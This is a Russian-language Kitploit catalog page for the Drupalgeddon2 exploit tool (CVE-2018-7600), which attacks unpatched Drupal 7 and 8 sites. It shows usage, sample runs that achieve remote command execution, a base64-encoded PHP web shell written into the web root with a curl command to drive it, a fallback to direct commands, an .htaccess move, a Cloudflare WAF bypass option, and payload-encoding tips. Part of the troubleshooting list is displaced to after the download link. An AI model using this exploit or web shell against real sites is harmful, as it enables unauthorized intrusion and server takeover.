Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Drupalgeddon2 — Эксплойт для Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002) | Kitploit
Инструменты/GitHubGitHub/dreadlocked/drupalgeddon2
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияШелл-кодЭксплуатация веб-приложенийТестирование на Проникновение
GitHubdreadlocked/drupalgeddon2

Drupalgeddon2

Эксплойт для Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002)

Репозиторий
6001695 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2018-7600 | Drupal 8.5.x < 8.5.1 / 8.4.x < 8.4.6 / 8.x < 8.3.9 / 7.x? < 7.58 / < 6.x? - 'Drupalgeddon2' RCE (SA-CORE-2018-002)

Drupalggedon2 ~ https://github.com/dreadlocked/Drupalgeddon2/ (https://www.drupal.org/sa-core-2018-002)

Поддерживает:

  • Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 ~ URL user/register, атака на параметры account/mail и #post_render с использованием PHP-функции passthru
  • Drupal < 7.58 ~ URL user/password, атака на форму triggering_element_name и параметр #post_render с использованием PHP-функции passthru
  • Работает с прямыми командами (так называемый метод без файлов, File-Less Method) или записывает PHP-шелл в корень веб-сервера (./) или подкаталоги (./sites/default/ и ./sites/default/files/)
  • Поддержка целей на Linux и Windows
  • Автоопределение версии Drupal (или достаточно точное предположение!)

Метод user/register был выбран для Drupal v8.x, поскольку он возвращает HTTP 200 и выводит результат в JSON-ответе data (раскомментируйте код для метода timezone/#lazy_builder, который возвращает HTTP 500 и работает вслепую!) (Дополнительная информация)

Авторы:

  • Hans Topo (@_dreadlocked)
  • g0tmi1k (@g0tmi1k)

Примечания:

  • Для продвинутых пользователей/конфигураций существует более настраиваемый эксплойт. Смотрите раздел drupalgeddon2-customizable-beta.rb
  • Прежде чем открывать issue, пожалуйста, прочитайте раздел устранения неполадок в конце. Спасибо!

Использование:

root@kitploit:~
$ ruby drupalgeddon2.rb
Usage: ruby drupalggedon2.rb <target> [--verbose] [--authentication]
       ruby drupalgeddon2.rb https://example.com
$

Параметры --verbose и --authentication можно указывать в любом порядке после и оба они необязательны. Если указан --authentication, будет запрошен ввод:

  • имени пользователя,
  • пароля,
  • имени поля формы для имени пользователя,
  • имени поля формы для пароля,
  • URL-пути к веб-странице входа, например user/login
  • возможного суффикса, добавляемого после учётных данных в отправляемой форме, например form_id и т.д.

Это необходимо для эксплуатации сайтов, которые сначала требуют POST-авторизации на веб-странице и в случае успешной аутентификации отвечают сессионной cookie.

Пример для Drupal v8.x

Drupal v8.x < v8.3.9 / v8.4.x < v8.4.6 / v8.5.x < v8.5.1

root@kitploit:~
$ ./drupalgeddon2.rb http://localhost/drupal-8/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-8/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-8/CHANGELOG.txt    (HTTP Response: 404)
[+] Found  : http://localhost/drupal-8/core/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TTTBJJBP
[+] Result : TTTBJJBP
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell:   curl 'http://localhost/drupal-8/s.php' -d 'c=hostname'
ubuntu140045x64-drupal>> uname -a
Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
ubuntu140045x64-drupal>>

Пример для Drupal v7.x

Drupal < v7.58

root@kitploit:~
$ ./drupalgeddon2.rb http://localhost/drupal-7/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-7/
--------------------------------------------------------------------------------
[+] Found  : http://localhost/drupal-7/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.31
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TKYPVVJJ
[+] Result : TKYPVVJJ
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell:   curl 'http://localhost/drupal-7/s.php' -d 'c=hostname'

ubuntu140045x64-drupal>> uptime
 14:52:33 up 4 days,  3:35,  1 user,  load average: 0.00, 0.01, 0.05
ubuntu140045x64-drupal>>

Прямые команды / не-PHP шелл (также известный как File-Less Method)

Если вы не хотите даже пытаться записать PHP-веб-шелл на веб-сервер, отредактируйте файл, как показано ниже (в любом случае будет выполнен откат, если не удастся найти доступное для записи место):

root@kitploit:~
try_phpshelltryphpshell = false

Пример

root@kitploit:~
$ ./drupalgeddon2.rb http://localhost/drupal-nonwrite/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-nonwrite/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-nonwrite/CHANGELOG.txt    (HTTP Response: 404)
[+] Found  : http://localhost/drupal-nonwrite/core/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo HYCBAIET
[+] Result : HYCBAIET
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)...    Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (sites/default/)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)...    Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (sites/default/files/)
[*] Moving : ./sites/default/files/.htaccess
[i] Payload: mv -f sites/default/files/.htaccess sites/default/files/.htaccess-bak; echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/files/s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [1] (HTTP Response: 403)...    May not be able to execute PHP from here?
[!] FAILED: Couldn't find writeable web path
--------------------------------------------------------------------------------
[*] Dropping back to direct commands
drupalgeddon2>> lsb_release -a
Distributor ID:	Ubuntu
Description:	Ubuntu 14.04.5 LTS
Release:	14.04
Codename:	trusty
drupalgeddon2>>

Поддержка прокси

Для поддержки прокси (например, Burp) отредактируйте файл, подставив свои значения. Пример:

root@kitploit:~
proxy_addr = "192.168.0.130"
proxy_port = 8080

Экспериментальный, но рабочий: drupalgeddon2-customizable-beta.rb

drupalgeddon2-customizable-beta.rb предназначен для более продвинутых пользователей, поскольку он более настраиваемый. Он позволяет указать дополнительные параметры, например используемый PHP-метод (не только system() или passthru()) и способ доступа к форме user/password.

Примеры использования:

root@kitploit:~
Usage example: ./drupalgeddon-customizable-beta.rb -u http://example.com/ -v 7 -c id
More info: -h
    -u, --url URL                    [Required] Service URL
    -v, --version VERSION            [Required] Target Drupal version {7,8}
    -c, --command COMMAND            [Required] Command to execute
    -m, --method PHP_METHOD          [Optional] PHP Method to use, by default: passthru
        --form                       [Optional] Form to attack, by default '/user/password' in Drupal 7 and '/user/register' in Drupal 8
        --cloudflare                 [Optional] Tries to bypass Cloudflare using Lua-Nginx +100 parameters WAF Bypass
    -h, --help                       Prints this help

Устранение неполадок:

  • Если возникает ошибка типа cannot load such file "LoadError", выполните sudo gem install <missing dependency>. В частности, вам может понадобиться установить зависимость highline с помощью sudo gem install highline

  • Цель может перенаправлять на другой путь, где находится Drupal (например, ответы HTTP 30x)

    • Решение: убедитесь, что вы используете правильный путь Drupal
  • Существует ограничение на допустимые символы, которые можно использовать в полезной нагрузке/команде

    • Решение: это связано с тем, как уязвимость воспринимает их и как они кодируются для URL-запроса. Закодируйте полезную нагрузку и декодируйте её на целевой системе. Например, с помощью base64
  • Если целевая система Linux и не использует "GNU base64", это может быть BSD-версия (или она вообще не установлена!)

    • Решение: используйте base64 -D (вместо base64 -d) или применяйте метод без файлов
  • Если целевая система использует Windows, запись PHP-шелла всегда завершается неудачей

    • Решение: используйте метод без файлов. Это связано с тем, что конвейер передаётся в Unix-программу, а не используется certutil или PowerShell
  • Drupal v8.x — ./.htaccess не позволит выполнять PHP-скрипты в , если это доступная для записи папка


Ссылки:

  • Бюллетень Drupal SA-CORE-2018-002 ~ https://www.drupal.org/sa-core-2018-002
  • CVE ~ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7600
  • Разбор и исследование ~ https://research.checkpoint.com/uncovering-drupalgeddon-2/
  • cURL-команды/пример PoC ~ https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708
Скачать инструмент
./sites/default/
  • Решение: переключитесь на метод без файлов
  • Drupal v8.x — на целевой системе не включены "чистые URL" (clean URL)

    • Решение: Н/Д — не уязвимо =(
  • Drupal v7.x — если форма /user/password отключена, вам нужно найти другую форму (не забудьте изменить эксплойт!)

    • Решение: параметр form_id будет меняться в зависимости от формы, используемой для эксплуатации уязвимости